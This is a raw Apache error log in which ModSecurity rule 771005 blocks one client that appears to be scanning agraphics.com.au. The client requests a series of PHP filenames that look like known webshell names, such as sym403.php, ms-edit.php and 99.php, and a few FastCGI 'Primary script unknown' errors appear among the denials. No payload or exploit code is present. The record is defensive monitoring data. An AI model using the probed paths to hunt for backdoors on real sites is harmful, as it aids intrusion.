[Fri Apr 24 06:42:41.188191 2026] [:error] [pid 19101:tid 19156] [client 74.248.17.200:13017] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jodohghi.php"] [unique_id "aeqgYWAHj9bEvrTgbO3a2QAAAFM"]
[Fri Apr 24 06:42:42.867071 2026] [:error] [pid 52129:tid 52142] [client 74.248.17.200:12833] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jodohghi.php"] [unique_id "aeqgYuKCZKf8_u2LKiB93AAAAQk"]
[Fri Apr 24 06:42:44.554490 2026] [:error] [pid 19102:tid 19178] [client 74.248.17.200:16559] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jodohghi.php"] [unique_id "aeqgZADSgrbLEZbkqD7VwwAAAI4"]
[Fri Apr 24 06:42:45.910612 2026] [:error] [pid 19101:tid 19145] [client 74.248.17.200:41460] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rendi59.php"] [unique_id "aeqgZWAHj9bEvrTgbO3a3AAAAEg"]
[Fri Apr 24 06:42:46.834650 2026] [:error] [pid 52129:tid 52143] [client 74.248.17.200:41421] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rendi59.php"] [unique_id "aeqgZuKCZKf8_u2LKiB97gAAAQo"]
[Fri Apr 24 06:42:48.012478 2026] [:error] [pid 19100:tid 19125] [client 74.248.17.200:10319] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rendi59.php"] [unique_id "aeqgaLF_hzQs4CqbifcUrQAAAA8"]
[Fri Apr 24 06:42:49.247886 2026] [:error] [pid 19101:tid 19155] [client 74.248.17.200:14534] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rendi59.php"] [unique_id "aeqgaWAHj9bEvrTgbO3a4wAAAFI"]
[Fri Apr 24 06:42:50.220940 2026] [:error] [pid 19101:tid 19153] [client 74.248.17.200:14538] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rivasqup.php"] [unique_id "aeqgamAHj9bEvrTgbO3a5AAAAFA"]
[Fri Apr 24 06:42:51.550529 2026] [:error] [pid 52129:tid 52144] [client 74.248.17.200:16633] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rivasqup.php"] [unique_id "aeqga-KCZKf8_u2LKiB9-gAAAQs"]
[Fri Apr 24 06:42:52.674073 2026] [:error] [pid 19101:tid 19151] [client 74.248.17.200:13008] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rivasqup.php"] [unique_id "aeqgbGAHj9bEvrTgbO3a5wAAAE4"]
[Fri Apr 24 06:42:55.101595 2026] [:error] [pid 19101:tid 19147] [client 74.248.17.200:12703] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rivasqup.php"] [unique_id "aeqgb2AHj9bEvrTgbO3a6QAAAEo"]
[Fri Apr 24 06:42:56.332837 2026] [:error] [pid 19102:tid 19188] [client 74.248.17.200:35844] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mga.php"] [unique_id "aeqgcADSgrbLEZbkqD7V4wAAAJg"]
[Fri Apr 24 06:42:58.604416 2026] [:error] [pid 52129:tid 52142] [client 74.248.17.200:12696] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mga.php"] [unique_id "aeqgcuKCZKf8_u2LKiB-FAAAAQk"]
[Fri Apr 24 06:42:59.767850 2026] [:error] [pid 52129:tid 52136] [client 74.248.17.200:12432] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mga.php"] [unique_id "aeqgc-KCZKf8_u2LKiB-GgAAAQM"]
[Fri Apr 24 06:43:01.415940 2026] [:error] [pid 19200:tid 19229] [client 74.248.17.200:6759] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mga.php"] [unique_id "aeqgdTQ--M3-tsKAnhGyaQAAANU"]
[Fri Apr 24 06:43:04.708654 2026] [:error] [pid 19101:tid 19157] [client 74.248.17.200:12446] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dshtv.php"] [unique_id "aeqgeGAHj9bEvrTgbO3a9AAAAFQ"]
[Fri Apr 24 06:43:05.538068 2026] [:error] [pid 19100:tid 19130] [client 74.248.17.200:21618] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dshtv.php"] [unique_id "aeqgebF_hzQs4CqbifcUxgAAABQ"]
[Fri Apr 24 06:43:07.262521 2026] [:error] [pid 52129:tid 52141] [client 74.248.17.200:35382] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dshtv.php"] [unique_id "aeqge-KCZKf8_u2LKiB-KwAAAQg"]
[Fri Apr 24 06:43:09.494716 2026] [:error] [pid 19101:tid 19146] [client 74.248.17.200:22957] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dshtv.php"] [unique_id "aeqgfWAHj9bEvrTgbO3a-QAAAEk"]
[Fri Apr 24 06:43:12.218940 2026] [:error] [pid 19101:tid 19161] [client 74.248.17.200:14530] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sym403.php"] [unique_id "aeqggGAHj9bEvrTgbO3a_QAAAFg"]
[Fri Apr 24 06:43:14.820421 2026] [:error] [pid 19100:tid 19110] [client 74.248.17.200:11763] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sym403.php"] [unique_id "aeqggrF_hzQs4CqbifcU1gAAAAE"]
[Fri Apr 24 06:43:16.353199 2026] [:error] [pid 19101:tid 19149] [client 74.248.17.200:37756] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sym403.php"] [unique_id "aeqghGAHj9bEvrTgbO3bAgAAAEw"]
[Fri Apr 24 06:43:17.405218 2026] [:error] [pid 19101:tid 19159] [client 74.248.17.200:16593] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sym403.php"] [unique_id "aeqghWAHj9bEvrTgbO3bCAAAAFY"]
[Fri Apr 24 06:43:18.527412 2026] [:error] [pid 19200:tid 19231] [client 74.248.17.200:11752] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/temp1.php"] [unique_id "aeqghjQ--M3-tsKAnhGyhAAAANc"]
[Fri Apr 24 06:43:20.194108 2026] [:error] [pid 19101:tid 19137] [client 74.248.17.200:11714] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/temp1.php"] [unique_id "aeqgiGAHj9bEvrTgbO3bGAAAAEA"]
[Fri Apr 24 06:43:22.428312 2026] [:error] [pid 19102:tid 19184] [client 74.248.17.200:18827] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/temp1.php"] [unique_id "aeqgigDSgrbLEZbkqD7WDQAAAJQ"]
[Fri Apr 24 06:43:23.200632 2026] [:error] [pid 52129:tid 52145] [client 74.248.17.200:27322] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/temp1.php"] [unique_id "aeqgi-KCZKf8_u2LKiB-OAAAAQw"]
[Fri Apr 24 06:43:23.954742 2026] [:error] [pid 19100:tid 19119] [client 74.248.17.200:11738] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeqgi7F_hzQs4CqbifcU4AAAAAk"]
[Fri Apr 24 06:43:24.593431 2026] [:error] [pid 19101:tid 19148] [client 74.248.17.200:20478] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeqgjGAHj9bEvrTgbO3bIwAAAEs"]
[Fri Apr 24 06:43:25.483060 2026] [:error] [pid 19100:tid 19111] [client 74.248.17.200:27301] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeqgjbF_hzQs4CqbifcU4QAAAAI"]
[Fri Apr 24 06:43:26.161807 2026] [:error] [pid 52129:tid 52147] [client 74.248.17.200:6899] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeqgjuKCZKf8_u2LKiB-RwAAAQ4"]
[Fri Apr 24 06:43:26.832770 2026] [:error] [pid 19102:tid 19188] [client 74.248.17.200:6878] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aeqgjgDSgrbLEZbkqD7WFwAAAJg"]
[Fri Apr 24 06:43:27.619726 2026] [:error] [pid 19102:tid 19183] [client 74.248.17.200:20471] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aeqgjwDSgrbLEZbkqD7WGgAAAJM"]
[Fri Apr 24 06:43:28.699300 2026] [:error] [pid 19102:tid 19179] [client 74.248.17.200:12712] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aeqgkADSgrbLEZbkqD7WHgAAAI8"]
[Fri Apr 24 06:43:29.865474 2026] [:error] [pid 52129:tid 52141] [client 74.248.17.200:6262] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aeqgkeKCZKf8_u2LKiB-UAAAAQg"]
[Fri Apr 24 06:43:31.823670 2026] [:error] [pid 52129:tid 52149] [client 74.248.17.200:30493] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "aeqgk-KCZKf8_u2LKiB-VQAAARA"]
[Fri Apr 24 06:43:33.582597 2026] [:error] [pid 19102:tid 19166] [client 74.248.17.200:37705] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "aeqglQDSgrbLEZbkqD7WJAAAAII"]
[Fri Apr 24 06:43:34.820332 2026] [:error] [pid 19101:tid 19150] [client 74.248.17.200:30471] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "aeqglmAHj9bEvrTgbO3bMgAAAE0"]
[Fri Apr 24 06:43:36.346907 2026] [:error] [pid 19200:tid 19220] [client 74.248.17.200:20445] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "aeqgmDQ--M3-tsKAnhGyiQAAAMw"]
[Fri Apr 24 06:43:38.539749 2026] [:error] [pid 19200:tid 19221] [client 74.248.17.200:27290] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bbny.php"] [unique_id "aeqgmjQ--M3-tsKAnhGyjAAAAM0"]
[Fri Apr 24 06:43:41.156357 2026] [proxy_fcgi:error] [pid 19200:tid 19228] [client 74.248.17.200:6220] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:43:41.619938 2026] [proxy_fcgi:error] [pid 19200:tid 19227] [client 74.248.17.200:6220] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:43:41.924037 2026] [proxy_fcgi:error] [pid 19200:tid 19210] [client 74.248.17.200:6220] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:43:42.184910 2026] [proxy_fcgi:error] [pid 19200:tid 19211] [client 74.248.17.200:6220] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:43:42.723633 2026] [proxy_fcgi:error] [pid 19200:tid 19219] [client 74.248.17.200:6220] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:43:42.985187 2026] [proxy_fcgi:error] [pid 19200:tid 19217] [client 74.248.17.200:6220] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:43:43.245561 2026] [proxy_fcgi:error] [pid 19200:tid 19232] [client 74.248.17.200:6220] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:43:43.507514 2026] [proxy_fcgi:error] [pid 19200:tid 19229] [client 74.248.17.200:6220] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:43:43.770556 2026] [proxy_fcgi:error] [pid 19200:tid 19214] [client 74.248.17.200:6220] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:43:44.066335 2026] [proxy_fcgi:error] [pid 19200:tid 19220] [client 74.248.17.200:6220] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:43:44.333088 2026] [proxy_fcgi:error] [pid 19200:tid 19222] [client 74.248.17.200:6220] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:43:44.631550 2026] [:error] [pid 19200:tid 19212] [client 74.248.17.200:6220] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/son.php"] [unique_id "aeqgoDQ--M3-tsKAnhGynwAAAMQ"]
[Fri Apr 24 06:43:46.349904 2026] [:error] [pid 19200:tid 19209] [client 74.248.17.200:18816] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/son.php"] [unique_id "aeqgojQ--M3-tsKAnhGyowAAAME"]
[Fri Apr 24 06:43:47.160989 2026] [:error] [pid 19102:tid 19180] [client 74.248.17.200:17300] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/son.php"] [unique_id "aeqgowDSgrbLEZbkqD7WMAAAAJA"]
[Fri Apr 24 06:43:48.131001 2026] [:error] [pid 19200:tid 19229] [client 74.248.17.200:26936] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/son.php"] [unique_id "aeqgpDQ--M3-tsKAnhGyqwAAANU"]
[Fri Apr 24 06:43:48.771459 2026] [:error] [pid 19100:tid 19128] [client 74.248.17.200:26441] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aeqgpLF_hzQs4CqbifcVAAAAABI"]
[Fri Apr 24 06:43:49.417587 2026] [:error] [pid 52129:tid 52141] [client 74.248.17.200:17322] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aeqgpeKCZKf8_u2LKiB-cgAAAQg"]
[Fri Apr 24 06:43:50.409630 2026] [:error] [pid 52129:tid 52140] [client 74.248.17.200:15780] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aeqgpuKCZKf8_u2LKiB-dQAAAQc"]
[Fri Apr 24 06:43:51.206873 2026] [:error] [pid 52129:tid 52145] [client 74.248.17.200:42093] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aeqgp-KCZKf8_u2LKiB-egAAAQw"]
[Fri Apr 24 06:43:51.911802 2026] [:error] [pid 19101:tid 19152] [client 74.248.17.200:34728] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/99.php"] [unique_id "aeqgp2AHj9bEvrTgbO3bhQAAAE8"]
[Fri Apr 24 06:43:52.586115 2026] [:error] [pid 52129:tid 52151] [client 74.248.17.200:11971] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/99.php"] [unique_id "aeqgqOKCZKf8_u2LKiB-gAAAARI"]
[Fri Apr 24 06:43:53.306998 2026] [:error] [pid 52129:tid 52140] [client 74.248.17.200:6719] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/99.php"] [unique_id "aeqgqeKCZKf8_u2LKiB-gwAAAQc"]
[Fri Apr 24 06:43:54.161542 2026] [:error] [pid 52129:tid 52144] [client 74.248.17.200:34709] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/99.php"] [unique_id "aeqgquKCZKf8_u2LKiB-igAAAQs"]
[Fri Apr 24 06:43:54.863505 2026] [:error] [pid 52129:tid 52152] [client 74.248.17.200:42056] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bal.php"] [unique_id "aeqgquKCZKf8_u2LKiB-kAAAARM"]
